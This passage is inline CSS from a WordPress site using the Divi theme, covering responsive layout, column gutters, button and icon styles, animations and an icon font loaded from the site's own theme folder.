.container:before{display:none}}@media (max-width:980px){#page-container{padding-top:80px}.et-tb #page-container,.et-tb-has-header #page-container{padding-top:0!important}#left-area,#sidebar{width:100%!important}#main-content .container:before{display:none!important}.et_full_width_page .et_gallery_item:nth-child(4n+1){clear:none}}@media print{#page-container{padding-top:0!important}}#wp-admin-bar-et-use-visual-builder a:before{font-family:ETmodules!important;content:"\e625";font-size:30px!important;width:28px;margin-top:-3px;color:#974df3!important}#wp-admin-bar-et-use-visual-builder:hover a:before{color:#fff!important}#wp-admin-bar-et-use-visual-builder:hover a,#wp-admin-bar-et-use-visual-builder a:hover{transition:background-color .5s ease;-webkit-transition:background-color .5s ease;-moz-transition:background-color .5s ease;background-color:#7e3bd0!important;color:#fff!important}* html .clearfix,:first-child+html .clearfix{zoom:1}.iphone .et_pb_section_video_bg video::-webkit-media-controls-start-playback-button{display:none!important;-webkit-appearance:none}.et_mobile_device .et_pb_section_parallax .et_pb_parallax_css{background-attachment:scroll}.et-social-facebook a.icon:before{content:"\e093"}.et-social-twitter a.icon:before{content:"\e094"}.et-social-google-plus a.icon:before{content:"\e096"}.et-social-instagram a.icon:before{content:"\e09a"}.et-social-rss a.icon:before{content:"\e09e"}.ai1ec-single-event:after{content:" ";display:table;clear:both}.evcal_event_details .evcal_evdata_cell .eventon_details_shading_bot.eventon_details_shading_bot{z-index:3}.wp-block-divi-layout{margin-bottom:1em}*{-webkit-box-sizing:border-box;box-sizing:border-box}#et-info-email:before,#et-info-phone:before,#et_search_icon:before,.comment-reply-link:after,.et-cart-info span:before,.et-pb-arrow-next:before,.et-pb-arrow-prev:before,.et-social-icon a:before,.et_audio_container .mejs-playpause-button button:before,.et_audio_container .mejs-volume-button button:before,.et_overlay:before,.et_password_protected_form .et_submit_button:after,.et_pb_button:after,.et_pb_contact_reset:after,.et_pb_contact_submit:after,.et_pb_font_icon:before,.et_pb_newsletter_button:after,.et_pb_pricing_table_button:after,.et_pb_promo_button:after,.et_pb_testimonial:before,.et_pb_toggle_title:before,.form-submit .et_pb_button:after,.mobile_menu_bar:before,a.et_pb_more_button:after{font-family:ETmodules!important;speak:none;font-style:normal;font-weight:400;-webkit-font-feature-settings:normal;font-feature-settings:normal;font-variant:normal;text-transform:none;line-height:1;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale;text-shadow:0 0;direction:ltr}.et-pb-icon,.et_pb_custom_button_icon.et_pb_button:after,.et_pb_login .et_pb_custom_button_icon.et_pb_button:after,.et_pb_woo_custom_button_icon .button.et_pb_custom_button_icon.et_pb_button:after,.et_pb_woo_custom_button_icon .button.et_pb_custom_button_icon.et_pb_button:hover:after{content:attr(data-icon)}.et-pb-icon{font-family:ETmodules;speak:none;font-weight:400;-webkit-font-feature-settings:normal;font-feature-settings:normal;font-variant:normal;text-transform:none;line-height:1;-webkit-font-smoothing:antialiased;font-size:96px;font-style:normal;display:inline-block;-webkit-box-sizing:border-box;box-sizing:border-box;direction:ltr}#et-ajax-saving{display:none;-webkit-transition:background .3s,-webkit-box-shadow .3s;transition:background .3s,-webkit-box-shadow .3s;transition:background .3s,box-shadow .3s;transition:background .3s,box-shadow .3s,-webkit-box-shadow .3s;-webkit-box-shadow:rgba(0,139,219,.247059) 0 0 60px;box-shadow:0 0 60px rgba(0,139,219,.247059);position:fixed;top:50%;left:50%;width:50px;height:50px;background:#fff;border-radius:50px;margin:-25px 0 0 -25px;z-index:999999;text-align:center}#et-ajax-saving img{margin:9px}.et-safe-mode-indicator,.et-safe-mode-indicator:focus,.et-safe-mode-indicator:hover{-webkit-box-shadow:0 5px 10px rgba(41,196,169,.15);box-shadow:0 5px 10px rgba(41,196,169,.15);background:#29c4a9;color:#fff;font-size:14px;font-weight:600;padding:12px;line-height:16px;border-radius:3px;position:fixed;bottom:30px;right:30px;z-index:999999;text-decoration:none;font-family:Open Sans,sans-serif;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}.et_pb_button{font-size:20px;font-weight:500;padding:.3em 1em;line-height:1.7em!important;background-color:transparent;background-size:cover;background-position:50%;background-repeat:no-repeat;border:2px solid;border-radius:3px;-webkit-transition-duration:.2s;transition-duration:.2s;-webkit-transition-property:all!important;transition-property:all!important}.et_pb_button,.et_pb_button_inner{position:relative}.et_pb_button:hover,.et_pb_module .et_pb_button:hover{border:2px solid transparent;padding:.3em 2em .3em .7em}.et_pb_button:hover{background-color:hsla(0,0%,100%,.2)}.et_pb_bg_layout_light.et_pb_button:hover,.et_pb_bg_layout_light .et_pb_button:hover{background-color:rgba(0,0,0,.05)}.et_pb_button:after,.et_pb_button:before{font-size:32px;line-height:1em;content:"\35";opacity:0;position:absolute;margin-left:-1em;-webkit-transition:all .2s;transition:all .2s;text-transform:none;-webkit-font-feature-settings:"kern" off;font-feature-settings:"kern" off;font-variant:none;font-style:normal;font-weight:400;text-shadow:none}.et_pb_button.et_hover_enabled:hover:after,.et_pb_button.et_pb_hovered:hover:after{-webkit-transition:none!important;transition:none!important}.et_pb_button:before{display:none}.et_pb_button:hover:after{opacity:1;margin-left:0}.et_pb_column_1_3 h1,.et_pb_column_1_4 h1,.et_pb_column_1_5 h1,.et_pb_column_1_6 h1,.et_pb_column_2_5 h1{font-size:26px}.et_pb_column_1_3 h2,.et_pb_column_1_4 h2,.et_pb_column_1_5 h2,.et_pb_column_1_6 h2,.et_pb_column_2_5 h2{font-size:23px}.et_pb_column_1_3 h3,.et_pb_column_1_4 h3,.et_pb_column_1_5 h3,.et_pb_column_1_6 h3,.et_pb_column_2_5 h3{font-size:20px}.et_pb_column_1_3 h4,.et_pb_column_1_4 h4,.et_pb_column_1_5 h4,.et_pb_column_1_6 h4,.et_pb_column_2_5 h4{font-size:18px}.et_pb_column_1_3 h5,.et_pb_column_1_4 h5,.et_pb_column_1_5 h5,.et_pb_column_1_6 h5,.et_pb_column_2_5 h5{font-size:16px}.et_pb_column_1_3 h6,.et_pb_column_1_4 h6,.et_pb_column_1_5 h6,.et_pb_column_1_6 h6,.et_pb_column_2_5 h6{font-size:15px}.et_pb_bg_layout_dark,.et_pb_bg_layout_dark h1,.et_pb_bg_layout_dark h2,.et_pb_bg_layout_dark h3,.et_pb_bg_layout_dark h4,.et_pb_bg_layout_dark h5,.et_pb_bg_layout_dark h6{color:#fff!important}.et_pb_module.et_pb_text_align_left{text-align:left}.et_pb_module.et_pb_text_align_center{text-align:center}.et_pb_module.et_pb_text_align_right{text-align:right}.et_pb_module.et_pb_text_align_justified{text-align:justify}.clearfix:after{visibility:hidden;display:block;font-size:0;content:" ";clear:both;height:0}.et_pb_bg_layout_light .et_pb_more_button{color:#2ea3f2}.et_builder_inner_content{position:relative;z-index:1}header .et_builder_inner_content{z-index:2}.et_pb_css_mix_blend_mode_passthrough{mix-blend-mode:unset!important}.et_pb_image_container{margin:-20px -20px 29px}.et_pb_module_inner{position:relative}.et_hover_enabled_preview{z-index:2}.et_hover_enabled:hover{position:relative;z-index:2}.et_pb_all_tabs,.et_pb_module,.et_pb_posts_nav a,.et_pb_tab,.et_pb_with_background{position:relative;background-size:cover;background-position:50%;background-repeat:no-repeat}.et_pb_background_mask,.et_pb_background_pattern{bottom:0;left:0;position:absolute;right:0;top:0}.et_pb_background_mask{background-size:calc(100% + 2px) calc(100% + 2px);background-repeat:no-repeat;background-position:50%;overflow:hidden}.et_pb_background_pattern{background-position:0 0;background-repeat:repeat}.et_pb_with_border{position:relative;border:0 solid #333}.post-password-required .et_pb_row{padding:0;width:100%}.post-password-required .et_password_protected_form{min-height:0}body.et_pb_pagebuilder_layout.et_pb_show_title .post-password-required .et_password_protected_form h1,body:not(.et_pb_pagebuilder_layout) .post-password-required .et_password_protected_form h1{display:none}.et_pb_no_bg{padding:0!important}.et_overlay.et_pb_inline_icon:before,.et_pb_inline_icon:before{content:attr(data-icon)}.et_pb_more_button{color:inherit;text-shadow:none;text-decoration:none;display:inline-block;margin-top:20px}.et_parallax_bg_wrap{overflow:hidden;position:absolute;top:0;right:0;bottom:0;left:0}.et_parallax_bg{background-repeat:no-repeat;background-position:top;background-size:cover;position:absolute;bottom:0;left:0;width:100%;height:100%;display:block}.et_parallax_bg.et_parallax_bg__hover,.et_parallax_bg.et_parallax_bg_phone,.et_parallax_bg.et_parallax_bg_tablet,.et_parallax_gradient.et_parallax_gradient__hover,.et_parallax_gradient.et_parallax_gradient_phone,.et_parallax_gradient.et_parallax_gradient_tablet,.et_pb_section_parallax_hover:hover .et_parallax_bg:not(.et_parallax_bg__hover),.et_pb_section_parallax_hover:hover .et_parallax_gradient:not(.et_parallax_gradient__hover){display:none}.et_pb_section_parallax_hover:hover .et_parallax_bg.et_parallax_bg__hover,.et_pb_section_parallax_hover:hover .et_parallax_gradient.et_parallax_gradient__hover{display:block}.et_parallax_gradient{bottom:0;display:block;left:0;position:absolute;right:0;top:0}.et_pb_module.et_pb_section_parallax,.et_pb_posts_nav a.et_pb_section_parallax,.et_pb_tab.et_pb_section_parallax{position:relative}.et_pb_section_parallax .et_pb_parallax_css,.et_pb_slides .et_parallax_bg.et_pb_parallax_css{background-attachment:fixed}body.et-bfb .et_pb_section_parallax .et_pb_parallax_css,body.et-bfb .et_pb_slides .et_parallax_bg.et_pb_parallax_css{background-attachment:scroll;bottom:auto}.et_pb_section_parallax.et_pb_column .et_pb_module,.et_pb_section_parallax.et_pb_row .et_pb_column,.et_pb_section_parallax.et_pb_row .et_pb_module{z-index:9;position:relative}.et_pb_more_button:hover:after{opacity:1;margin-left:0}.et_pb_preload .et_pb_section_video_bg,.et_pb_preload>div{visibility:hidden}.et_pb_preload,.et_pb_section.et_pb_section_video.et_pb_preload{position:relative;background:#464646!important}.et_pb_preload:before{content:"";position:absolute;top:50%;left:50%;background:url(https://haggai-bf.org/wp-content/themes/Divi/includes/builder/styles/images/preloader.gif) no-repeat;border-radius:32px;width:32px;height:32px;margin:-16px 0 0 -16px}.box-shadow-overlay{position:absolute;top:0;left:0;width:100%;height:100%;z-index:10;pointer-events:none}.et_pb_section>.box-shadow-overlay~.et_pb_row{z-index:11}body.safari .section_has_divider{will-change:transform}.et_pb_row>.box-shadow-overlay{z-index:8}.has-box-shadow-overlay{position:relative}.et_clickable{cursor:pointer}.screen-reader-text{border:0;clip:rect(1px,1px,1px,1px);-webkit-clip-path:inset(50%);clip-path:inset(50%);height:1px;margin:-1px;overflow:hidden;padding:0;position:absolute!important;width:1px;word-wrap:normal!important}.et_multi_view_hidden,.et_multi_view_hidden_image{display:none!important}@keyframes multi-view-image-fade{0%{opacity:0}10%{opacity:.1}20%{opacity:.2}30%{opacity:.3}40%{opacity:.4}50%{opacity:.5}60%{opacity:.6}70%{opacity:.7}80%{opacity:.8}90%{opacity:.9}to{opacity:1}}.et_multi_view_image__loading{visibility:hidden}.et_multi_view_image__loaded{-webkit-animation:multi-view-image-fade .5s;animation:multi-view-image-fade .5s}#et-pb-motion-effects-offset-tracker{visibility:hidden!important;opacity:0;position:absolute;top:0;left:0}.et-pb-before-scroll-animation{opacity:0}header.et-l.et-l--header:after{clear:both;display:block;content:""}.et_pb_module{-webkit-animation-timing-function:linear;animation-timing-function:linear;-webkit-animation-duration:.2s;animation-duration:.2s}@-webkit-keyframes fadeBottom{0%{opacity:0;-webkit-transform:translateY(10%);transform:translateY(10%)}to{opacity:1;-webkit-transform:translateY(0);transform:translateY(0)}}@keyframes fadeBottom{0%{opacity:0;-webkit-transform:translateY(10%);transform:translateY(10%)}to{opacity:1;-webkit-transform:translateY(0);transform:translateY(0)}}@-webkit-keyframes fadeLeft{0%{opacity:0;-webkit-transform:translateX(-10%);transform:translateX(-10%)}to{opacity:1;-webkit-transform:translateX(0);transform:translateX(0)}}@keyframes fadeLeft{0%{opacity:0;-webkit-transform:translateX(-10%);transform:translateX(-10%)}to{opacity:1;-webkit-transform:translateX(0);transform:translateX(0)}}@-webkit-keyframes fadeRight{0%{opacity:0;-webkit-transform:translateX(10%);transform:translateX(10%)}to{opacity:1;-webkit-transform:translateX(0);transform:translateX(0)}}@keyframes fadeRight{0%{opacity:0;-webkit-transform:translateX(10%);transform:translateX(10%)}to{opacity:1;-webkit-transform:translateX(0);transform:translateX(0)}}@-webkit-keyframes fadeTop{0%{opacity:0;-webkit-transform:translateY(-10%);transform:translateY(-10%)}to{opacity:1;-webkit-transform:translateX(0);transform:translateX(0)}}@keyframes fadeTop{0%{opacity:0;-webkit-transform:translateY(-10%);transform:translateY(-10%)}to{opacity:1;-webkit-transform:translateX(0);transform:translateX(0)}}@-webkit-keyframes fadeIn{0%{opacity:0}to{opacity:1}}@keyframes fadeIn{0%{opacity:0}to{opacity:1}}.et-waypoint:not(.et_pb_counters){opacity:0}@media (min-width:981px){.et_pb_section.et_section_specialty div.et_pb_row .et_pb_column .et_pb_column .et_pb_module.et-last-child,.et_pb_section.et_section_specialty div.et_pb_row .et_pb_column .et_pb_column .et_pb_module:last-child,.et_pb_section.et_section_specialty div.et_pb_row .et_pb_column .et_pb_row_inner .et_pb_column .et_pb_module.et-last-child,.et_pb_section.et_section_specialty div.et_pb_row .et_pb_column .et_pb_row_inner .et_pb_column .et_pb_module:last-child,.et_pb_section div.et_pb_row .et_pb_column .et_pb_module.et-last-child,.et_pb_section div.et_pb_row .et_pb_column .et_pb_module:last-child{margin-bottom:0}}@media (max-width:980px){.et_overlay.et_pb_inline_icon_tablet:before,.et_pb_inline_icon_tablet:before{content:attr(data-icon-tablet)}.et_parallax_bg.et_parallax_bg_tablet_exist,.et_parallax_gradient.et_parallax_gradient_tablet_exist{display:none}.et_parallax_bg.et_parallax_bg_tablet,.et_parallax_gradient.et_parallax_gradient_tablet{display:block}.et_pb_column .et_pb_module{margin-bottom:30px}.et_pb_row .et_pb_column .et_pb_module.et-last-child,.et_pb_row .et_pb_column .et_pb_module:last-child,.et_section_specialty .et_pb_row .et_pb_column .et_pb_module.et-last-child,.et_section_specialty .et_pb_row .et_pb_column .et_pb_module:last-child{margin-bottom:0}.et_pb_more_button{display:inline-block!important}.et_pb_bg_layout_light_tablet.et_pb_button,.et_pb_bg_layout_light_tablet.et_pb_module.et_pb_button,.et_pb_bg_layout_light_tablet .et_pb_more_button{color:#2ea3f2}.et_pb_bg_layout_light_tablet .et_pb_forgot_password a{color:#666}.et_pb_bg_layout_light_tablet h1,.et_pb_bg_layout_light_tablet h2,.et_pb_bg_layout_light_tablet h3,.et_pb_bg_layout_light_tablet h4,.et_pb_bg_layout_light_tablet h5,.et_pb_bg_layout_light_tablet h6{color:#333!important}.et_pb_module .et_pb_bg_layout_light_tablet.et_pb_button{color:#2ea3f2!important}.et_pb_bg_layout_light_tablet{color:#666!important}.et_pb_bg_layout_dark_tablet,.et_pb_bg_layout_dark_tablet h1,.et_pb_bg_layout_dark_tablet h2,.et_pb_bg_layout_dark_tablet h3,.et_pb_bg_layout_dark_tablet h4,.et_pb_bg_layout_dark_tablet h5,.et_pb_bg_layout_dark_tablet h6{color:#fff!important}.et_pb_bg_layout_dark_tablet.et_pb_button,.et_pb_bg_layout_dark_tablet.et_pb_module.et_pb_button,.et_pb_bg_layout_dark_tablet .et_pb_more_button{color:inherit}.et_pb_bg_layout_dark_tablet .et_pb_forgot_password a{color:#fff}.et_pb_module.et_pb_text_align_left-tablet{text-align:left}.et_pb_module.et_pb_text_align_center-tablet{text-align:center}.et_pb_module.et_pb_text_align_right-tablet{text-align:right}.et_pb_module.et_pb_text_align_justified-tablet{text-align:justify}}@media (max-width:767px){.et_pb_more_button{display:inline-block!important}.et_overlay.et_pb_inline_icon_phone:before,.et_pb_inline_icon_phone:before{content:attr(data-icon-phone)}.et_parallax_bg.et_parallax_bg_phone_exist,.et_parallax_gradient.et_parallax_gradient_phone_exist{display:none}.et_parallax_bg.et_parallax_bg_phone,.et_parallax_gradient.et_parallax_gradient_phone{display:block}.et-hide-mobile{display:none!important}.et_pb_bg_layout_light_phone.et_pb_button,.et_pb_bg_layout_light_phone.et_pb_module.et_pb_button,.et_pb_bg_layout_light_phone .et_pb_more_button{color:#2ea3f2}.et_pb_bg_layout_light_phone .et_pb_forgot_password a{color:#666}.et_pb_bg_layout_light_phone h1,.et_pb_bg_layout_light_phone h2,.et_pb_bg_layout_light_phone h3,.et_pb_bg_layout_light_phone h4,.et_pb_bg_layout_light_phone h5,.et_pb_bg_layout_light_phone h6{color:#333!important}.et_pb_module .et_pb_bg_layout_light_phone.et_pb_button{color:#2ea3f2!important}.et_pb_bg_layout_light_phone{color:#666!important}.et_pb_bg_layout_dark_phone,.et_pb_bg_layout_dark_phone h1,.et_pb_bg_layout_dark_phone h2,.et_pb_bg_layout_dark_phone h3,.et_pb_bg_layout_dark_phone h4,.et_pb_bg_layout_dark_phone h5,.et_pb_bg_layout_dark_phone h6{color:#fff!important}.et_pb_bg_layout_dark_phone.et_pb_button,.et_pb_bg_layout_dark_phone.et_pb_module.et_pb_button,.et_pb_bg_layout_dark_phone .et_pb_more_button{color:inherit}.et_pb_module .et_pb_bg_layout_dark_phone.et_pb_button{color:#fff!important}.et_pb_bg_layout_dark_phone .et_pb_forgot_password a{color:#fff}.et_pb_module.et_pb_text_align_left-phone{text-align:left}.et_pb_module.et_pb_text_align_center-phone{text-align:center}.et_pb_module.et_pb_text_align_right-phone{text-align:right}.et_pb_module.et_pb_text_align_justified-phone{text-align:justify}}@media (max-width:479px){a.et_pb_more_button{display:block}}@media (min-width:768px) and (max-width:980px){[data-et-multi-view-load-tablet-hidden=true]:not(.et_multi_view_swapped){display:none!important}}@media (max-width:767px){[data-et-multi-view-load-phone-hidden=true]:not(.et_multi_view_swapped){display:none!important}}.et_pb_menu.et_pb_menu--style-inline_centered_logo .et_pb_menu__menu nav ul{-webkit-box-pack:center;-ms-flex-pack:center;justify-content:center}@-webkit-keyframes multi-view-image-fade{0%{-webkit-transform:scale(1);transform:scale(1);opacity:1}50%{-webkit-transform:scale(1.01);transform:scale(1.01);opacity:1}to{-webkit-transform:scale(1);transform:scale(1);opacity:1}}
/*# sourceURL=divi-style-parent-inline-inline-css */
</style>
<style id="divi-dynamic-critical-inline-css">
@font-face{font-family:ETmodules;font-display:block;src:url(//haggai-bf.org/wp-content/themes/Divi/core/admin/fonts/modules/all/modules.eot);src:url(//haggai-bf.org/wp-content/themes/Divi/core/admin/fonts/modules/all/modules.eot?#iefix) format("embedded-opentype"),url(//haggai-bf.org/wp-content/themes/Divi/core/admin/fonts/modules/all/modules.woff) format("woff"),url(//haggai-bf.org/wp-content/themes/Divi/core/admin/fonts/modules/all/modules.ttf) format("truetype"),url(//haggai-bf.org/wp-content/themes/Divi/core/admin/fonts/modules/all/modules.svg#ETmodules) format("svg");font-weight:400;font-style:normal}
@media (min-width:981px){.et_pb_gutters3 .et_pb_column,.et_pb_gutters3.et_pb_row .et_pb_column{margin-right:5.5%}.et_pb_gutters3 .et_pb_column_4_4,.et_pb_gutters3.et_pb_row .et_pb_column_4_4{width:100%}.et_pb_gutters3 .et_pb_column_4_4 .et_pb_module,.et_pb_gutters3.et_pb_row .et_pb_column_4_4 .et_pb_module{margin-bottom:2.75%}.et_pb_gutters3 .et_pb_column_3_4,.et_pb_gutters3.et_pb_row .et_pb_column_3_4{width:73.625%}.et_pb_gutters3 .et_pb_column_3_4 .et_pb_module,.et_pb_gutters3.et_pb_row .et_pb_column_3_4 .et_pb_module{margin-bottom:3.735%}.et_pb_gutters3 .et_pb_column_2_3,.et_pb_gutters3.et_pb_row .et_pb_column_2_3{width:64.833%}.et_pb_gutters3 .et_pb_column_2_3 .et_pb_module,.et_pb_gutters3.et_pb_row .et_pb_column_2_3 .et_pb_module{margin-bottom:4.242%}.et_pb_gutters3 .et_pb_column_3_5,.et_pb_gutters3.et_pb_row .et_pb_column_3_5{width:57.8%}.et_pb_gutters3 .et_pb_column_3_5 .et_pb_module,.et_pb_gutters3.et_pb_row .et_pb_column_3_5 .et_pb_module{margin-bottom:4.758%}.et_pb_gutters3 .et_pb_column_1_2,.et_pb_gutters3.et_pb_row .et_pb_column_1_2{width:47.25%}.et_pb_gutters3 .et_pb_column_1_2 .et_pb_module,.et_pb_gutters3.et_pb_row .et_pb_column_1_2 .et_pb_module{margin-bottom:5.82%}.et_pb_gutters3 .et_pb_column_2_5,.et_pb_gutters3.et_pb_row .et_pb_column_2_5{width:36.7%}.et_pb_gutters3 .et_pb_column_2_5 .et_pb_module,.et_pb_gutters3.et_pb_row .et_pb_column_2_5 .et_pb_module{margin-bottom:7.493%}.et_pb_gutters3 .et_pb_column_1_3,.et_pb_gutters3.et_pb_row .et_pb_column_1_3{width:29.6667%}.et_pb_gutters3 .et_pb_column_1_3 .et_pb_module,.et_pb_gutters3.et_pb_row .et_pb_column_1_3 .et_pb_module{margin-bottom:9.27%}.et_pb_gutters3 .et_pb_column_1_4,.et_pb_gutters3.et_pb_row .et_pb_column_1_4{width:20.875%}.et_pb_gutters3 .et_pb_column_1_4 .et_pb_module,.et_pb_gutters3.et_pb_row .et_pb_column_1_4 .et_pb_module{margin-bottom:13.174%}.et_pb_gutters3 .et_pb_column_1_5,.et_pb_gutters3.et_pb_row .et_pb_column_1_5{width:15.6%}.et_pb_gutters3 .et_pb_column_1_5 .et_pb_module,.et_pb_gutters3.et_pb_row .et_pb_column_1_5 .et_pb_module{margin-bottom:17.628%}.et_pb_gutters3 .et_pb_column_1_6,.et_pb_gutters3.et_pb_row .et_pb_column_1_6{width:12.0833%}.et_pb_gutters3 .et_pb_column_1_6 .et_pb_module,.et_pb_gutters3.et_pb_row .et_pb_column_1_6 .et_pb_module{margin-bottom:22.759%}.et_pb_gutters3 .et_full_width_page.woocommerce-page ul.products li.product{width:20.875%;margin-right:5.5%;margin-bottom:5.5%}.et_pb_gutters3.et_left_sidebar.woocommerce-page #main-content ul.products li.product,.et_pb_gutters3.et_right_sidebar.woocommerce-page #main-content ul.products li.product{width:28.353%;margin-right:7.47%}.et_pb_gutters3.et_left_sidebar.woocommerce-page #main-content ul.products.columns-1 li.product,.et_pb_gutters3.et_right_sidebar.woocommerce-page #main-content ul.products.columns-1 li.product{width:100%;margin-right:0}.et_pb_gutters3.et_left_sidebar.woocommerce-page #main-content ul.products.columns-2 li.product,.et_pb_gutters3.et_right_sidebar.woocommerce-page #main-content ul.products.columns-2 li.product{width:48%;margin-right:4%}.et_pb_gutters3.et_left_sidebar.woocommerce-page #main-content ul.products.columns-2 li:nth-child(2n+2),.et_pb_gutters3.et_right_sidebar.woocommerce-page #main-content ul.products.columns-2 li:nth-child(2n+2){margin-right:0}.et_pb_gutters3.et_left_sidebar.woocommerce-page #main-content ul.products.columns-2 li:nth-child(3n+1),.et_pb_gutters3.et_right_sidebar.woocommerce-page #main-content ul.products.columns-2 li:nth-child(3n+1){clear:none}}
@media (min-width:981px){.et_pb_gutter.et_pb_gutters1 #left-area{width:75%}.et_pb_gutter.et_pb_gutters1 #sidebar{width:25%}.et_pb_gutters1.et_right_sidebar #left-area{padding-right:0}.et_pb_gutters1.et_left_sidebar #left-area{padding-left:0}.et_pb_gutter.et_pb_gutters1.et_right_sidebar #main-content .container:before{right:25%!important}.et_pb_gutter.et_pb_gutters1.et_left_sidebar #main-content .container:before{left:25%!important}.et_pb_gutters1 .et_pb_column,.et_pb_gutters1.et_pb_row .et_pb_column{margin-right:0}.et_pb_gutters1 .et_pb_column_4_4,.et_pb_gutters1.et_pb_row .et_pb_column_4_4{width:100%}.et_pb_gutters1 .et_pb_column_4_4 .et_pb_module,.et_pb_gutters1.et_pb_row .et_pb_column_4_4 .et_pb_module{margin-bottom:0}.et_pb_gutters1 .et_pb_column_3_4,.et_pb_gutters1.et_pb_row .et_pb_column_3_4{width:75%}.et_pb_gutters1 .et_pb_column_3_4 .et_pb_module,.et_pb_gutters1.et_pb_row .et_pb_column_3_4 .et_pb_module{margin-bottom:0}.et_pb_gutters1 .et_pb_column_2_3,.et_pb_gutters1.et_pb_row .et_pb_column_2_3{width:66.667%}.et_pb_gutters1 .et_pb_column_2_3 .et_pb_module,.et_pb_gutters1.et_pb_row .et_pb_column_2_3 .et_pb_module{margin-bottom:0}.et_pb_gutters1 .et_pb_column_3_5,.et_pb_gutters1.et_pb_row .et_pb_column_3_5{width:60%}.et_pb_gutters1 .et_pb_column_3_5 .et_pb_module,.et_pb_gutters1.et_pb_row .et_pb_column_3_5 .et_pb_module{margin-bottom:0}.et_pb_gutters1 .et_pb_column_1_2,.et_pb_gutters1.et_pb_row .et_pb_column_1_2{width:50%}.et_pb_gutters1 .et_pb_column_1_2 .et_pb_module,.et_pb_gutters1.et_pb_row .et_pb_column_1_2 .et_pb_module{margin-bottom:0}.et_pb_gutters1 .et_pb_column_2_5,.et_pb_gutters1.et_pb_row .et_pb_column_2_5{width:40%}.et_pb_gutters1 .et_pb_column_2_5 .et_pb_module,.et_pb_gutters1.et_pb_row .et_pb_column_2_5 .et_pb_module{margin-bottom:0}.et_pb_gutters1 .et_pb_column_1_3,.et_pb_gutters1.et_pb_row .et_pb_column_1_3{width:33.3333%}.et_pb_gutters1 .et_pb_column_1_3 .et_pb_module,.et_pb_gutters1.et_pb_row .et_pb_column_1_3 .et_pb_module{margin-bottom:0}.et_pb_gutters1 .et_pb_column_1_4,.et_pb_gutters1.et_pb_row .et_pb_column_1_4{width:25%}.et_pb_gutters1 .et_pb_column_1_4 .et_pb_module,.et_pb_gutters1.et_pb_row .et_pb_column_1_4 .et_pb_module{margin-bottom:0}.et_pb_gutters1 .et_pb_column_1_5,.et_pb_gutters1.et_pb_row .et_pb_column_1_5{width:20%}.et_pb_gutters1 .et_pb_column_1_5 .et_pb_module,.et_pb_gutters1.et_pb_row .et_pb_column_1_5 .et_pb_module{margin-bottom:0}.et_pb_gutters1 .et_pb_column_1_6,.et_pb_gutters1.et_pb_row .et_pb_column_1_6{width:16.6667%}.et_pb_gutters1 .et_pb_column_1_6 .et_pb_module,.et_pb_gutters1.et_pb_row .et_pb_column_1_6 .et_pb_module{margin-bottom:0}.et_pb_gutters1 .et_full_width_page.woocommerce-page ul.products li.product{width:25%;margin-right:0;margin-bottom:0}.et_pb_gutters1.et_left_sidebar.woocommerce-page #main-content ul.products li.product,.et_pb_gutters1.et_right_sidebar.woocommerce-page #main-content ul.products li.product{width:33.333%;margin-right:0}}@media (max-width:980px){.et_pb_gutters1 .et_pb_column,.et_pb_gutters1 .et_pb_column .et_pb_module,.et_pb_gutters1.et_pb_row .et_pb_column,.et_pb_gutters1.et_pb_row .et_pb_column .et_pb_module{margin-bottom:0}.et_pb_gutters1 .et_pb_row_1-2_1-4_1-4>.et_pb_column.et_pb_column_1_4,.et_pb_gutters1 .et_pb_row_1-4_1-4>.et_pb_column.et_pb_column_1_4,.et_pb_gutters1 .et_pb_row_1-4_1-4_1-2>.et_pb_column.et_pb_column_1_4,.et_pb_gutters1 .et_pb_row_1-5_1-5_3-5>.et_pb_column.et_pb_column_1_5,.et_pb_gutters1 .et_pb_row_3-5_1-5_1-5>.et_pb_column.et_pb_column_1_5,.et_pb_gutters1 .et_pb_row_4col>.et_pb_column.et_pb_column_1_4,.et_pb_gutters1 .et_pb_row_5col>.et_pb_column.et_pb_column_1_5,.et_pb_gutters1.et_pb_row_1-2_1-4_1-4>.et_pb_column.et_pb_column_1_4,.et_pb_gutters1.et_pb_row_1-4_1-4>.et_pb_column.et_pb_column_1_4,.et_pb_gutters1.et_pb_row_1-4_1-4_1-2>.et_pb_column.et_pb_column_1_4,.et_pb_gutters1.et_pb_row_1-5_1-5_3-5>.et_pb_column.et_pb_column_1_5,.et_pb_gutters1.et_pb_row_3-5_1-5_1-5>.et_pb_column.et_pb_column_1_5,.et_pb_gutters1.et_pb_row_4col>.et_pb_column.et_pb_column_1_4,.et_pb_gutters1.et_pb_row_5col>.et_pb_column.et_pb_column_1_5{width:50%;margin-right:0}.et_pb_gutters1 .et_pb_row_1-2_1-6_1-6_1-6>.et_pb_column.et_pb_column_1_6,.et_pb_gutters1 .et_pb_row_1-6_1-6_1-6>.et_pb_column.et_pb_column_1_6,.et_pb_gutters1 .et_pb_row_1-6_1-6_1-6_1-2>.et_pb_column.et_pb_column_1_6,.et_pb_gutters1 .et_pb_row_6col>.et_pb_column.et_pb_column_1_6,.et_pb_gutters1.et_pb_row_1-2_1-6_1-6_1-6>.et_pb_column.et_pb_column_1_6,.et_pb_gutters1.et_pb_row_1-6_1-6_1-6>.et_pb_column.et_pb_column_1_6,.et_pb_gutters1.et_pb_row_1-6_1-6_1-6_1-2>.et_pb_column.et_pb_column_1_6,.et_pb_gutters1.et_pb_row_6col>.et_pb_column.et_pb_column_1_6{width:33.333%;margin-right:0}.et_pb_gutters1 .et_pb_row_1-6_1-6_1-6_1-6>.et_pb_column.et_pb_column_1_6,.et_pb_gutters1.et_pb_row_1-6_1-6_1-6_1-6>.et_pb_column.et_pb_column_1_6{width:50%;margin-right:0}}@media (max-width:767px){.et_pb_gutters1 .et_pb_column,.et_pb_gutters1 .et_pb_column .et_pb_module,.et_pb_gutters1.et_pb_row .et_pb_column,.et_pb_gutters1.et_pb_row .et_pb_column .et_pb_module{margin-bottom:0}}@media (max-width:479px){.et_pb_gutters1 .et_pb_column,.et_pb_gutters1.et_pb_row .et_pb_column{margin:0!important}.et_pb_gutters1 .et_pb_column .et_pb_module,.et_pb_gutters1.et_pb_row .et_pb_column .et_pb_module{margin-bottom:0}}
